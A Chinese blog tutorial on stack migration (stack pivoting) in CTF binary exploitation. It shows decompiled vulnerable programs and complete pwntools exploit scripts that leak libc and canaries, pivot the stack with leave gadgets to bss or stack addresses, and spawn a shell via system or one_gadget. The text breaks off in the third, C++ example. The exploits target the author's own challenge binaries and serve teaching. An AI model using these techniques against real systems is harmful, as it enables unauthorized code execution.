您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

一篇文章玩明白Stack-migration

合天网安实验室 发布时间:2021-12-22 16:30:00 ,浏览量:0

51b774788c663cc4b3555a197f7a0f41.gif

原创稿件征集

邮箱:edu@antvsion.com

QQ:3200599554

黑客极客技术、信息安全热点安全研究分析等安全相关的技术文章

稿件通过并发布还能收获

200-800元不等的稿酬

前置知识

Intel汇编,栈溢出利用,基础rop链

Stack_migration介绍

当我们发现存在栈溢出漏洞,但是溢出字节非常小,比如0x10的时候我们就需要利用栈迁移,将栈迁移置足够大的区段去编写rop链

以达到我们利用的目的。为了方便教学,这里以CTF赛题的形式进行教学。

典例一 题目给出便于利用的bss段地址或栈地址

这里我用我出给自己校赛的一道题作为讲解,给出了栈的地址

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[208]; // [rsp+0h] [rbp-D0h] BYREF


puts(&s);
puts(
"系统说罢,便将你渡入一方天地之中,只见天地之间一轮金日悬于九天之上,而在你面前是万里群山。\n");
puts(
"钝日斩星剑就在这些山里,自己慢慢找吧,不过本系统可不想等太久,这个明神瞳就送你了!\n");
printf("小子拿好了 :%p", buf);
puts(&byte_400818);
 read(0, buf, 0xE0uLL);
return puts("神兵已得,接下来,就去手刃你的第一个仇人吧,万阳帝仙!\n");
}

这里是刚好溢出了0x10,并且给出了当前变量所处的栈地址,对于这种题目,都是直接套路杀的,而且这题没有开启canary和pie

我们只需要和往常一样先编写好rop链,再利用leave命令把栈迁移到到所给的bss段或者栈地址上

payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave)

第一次是泄露libc,第二次就是直接getshell

exp
# -*- coding: UTF-8 –*-
from pwn import *
r=process('./1')
elf=ELF('./1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level='debug'
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x0000000000400663
leave=0x4005F8
main=0x0400577
ret=0x000000000040044e
r.recvuntil('小子拿好了 :')
leak=int(r.recv(14),16)
log.success('leak:'+hex(leak))


payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave)


r.recvuntil("搬山之术?\n")
r.send(payload)
r.recvuntil('神兵已得,接下来,就去手刃你的第一个仇人吧,万阳帝仙!\n')
(r.recvuntil('\n'))
leak1=u64(r.recv(6).ljust(8,'\x00'))


log.success('leak1:'+hex(leak1))


base=leak1-0x080aa0
onegadget=[0x4f3d5,0x4f432,0x10a41c]
sys=base+0x04f550
one=onegadget[2]+base
sh=0x1b3e1a+base
r.recvuntil('小子拿好了 :')
leak2=int(r.recv(14),16)
log.success('leak2:'+hex(leak2))


payload1='a'*8+p64(pop_rdi)+p64(sh)+p64(ret)+p64(sys)
#payload1='a'*8+p64(one)
payload1+='a'*(0xd0-len(payload1))+p64(leak2)+p64(leave)


r.send(payload1)


r.interactive()
典例二 题目开启了canary并且没有给定合理的地址

对于这种题目实际上只是迁移的地点要自己进行gdb调试(摁调)还有就是leave指令稍微加了点细节从read函数那下手

本质是和典例一没差别的,都是属于栈迁移。这里用一道自己写的demo作为教学

int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-24h]
char v6[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+28h] [rbp-8h]


 v7 = __readfsqword(0x28u);
 init(argc, argv, envp);
for ( i = 0; i  stack 30
00:0000│ rsp 0x6015c8 —▸ 0x400719 (pwnme+50) ◂— nop
01:0008│ rsi 0x6015d0 ◂— 0x0
... ↓        2 skipped
04:0020│     0x6015e8 ◂— 0x27ce95767da5b400
05:0028│ rbp 0x6015f0 ◂— 0x0
06:0030│     0x6015f8 —▸ 0x40083b (main+171) ◂— nop
07:0038│     0x601600 ◂— 0x0
08:0040│     0x601608 —▸ 0x40083b (main+171) ◂— nop
09:0048│     0x601610 ◂— 0x27ce95767da5b400
0a:0050│     0x601618 —▸ 0x6015d8 ◂— 0x0
0b:0058│     0x601620 —▸ 0x40072e (pwnme+71) ◂— leave
0c:0060│     0x601628 ◂— 0x0
... ↓        17 skipped

我们可以继续结合汇编来看

.text:0000000000400831                 mov     eax, 0
.text:0000000000400836                 call    pwnme
.text:000000000040083B                 nop
.text:000000000040083C                 mov     rax, [rbp+var_8]
.text:0000000000400840                 xor     rax, fs:28h
.text:0000000000400849                 jz      short locret_400850
.text:000000000040084B                 call    ___stack_chk_fail

rip执行mov     eax, 0返回地址在.text:000000000040083B                 nop把canary填充做一个修补(第一次泄露的时候已经破坏了)

恢复完栈帧我们利用恢复的时候顺带迁移会去的bss段再去写入onegadget就直接getshell了

exp
import time
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'


r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()


p = process('./Stack_migration')
#p=remote('101.43.94.145','28079')
elf = ELF('./Stack_migration')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
reread = 0x4006FE
leave = 0x40072E
bss = 0x601600
rdi = 0x00000000004008c3
start = 0x400600


s('a'*25)
ru('a'*25)
canary = u64('\x00'+rx(7))
success(hex(canary))
#p.recv()
pl = 'a'*24+p64(canary)+p64(bss)+p64(reread)
p.recv()
s(pl)
pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread)
pl = pl.ljust(24,'\x00')
sleep(0.1)
s(pl)
pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave)
sleep(0.1)
s(pl)
base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['puts']
ogg = base+0x4f3d5


pl = 'a'*24+p64(canary)+p64(0)+p64(ogg)
s(pl)
# debug()
shell()
典例三 C++类的栈迁移

虽然线上赛不一定见得到,但是线下赛c++的趋势已经越来越明显了,不学c++你会失去很多你本该拿到的东西

这个也是我自己整理的一个demo,先看ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
 __int64 v3; // rax
 __int64 v4; // rax
 __int64 v5; // rax
 __int64 v6; // rax
char s2[32]; // [rsp+0h] [rbp-20h] BYREF


 init();
do
{
   v3 = std::operator            
关注
打赏
1665306545
查看更多评论
0.0434s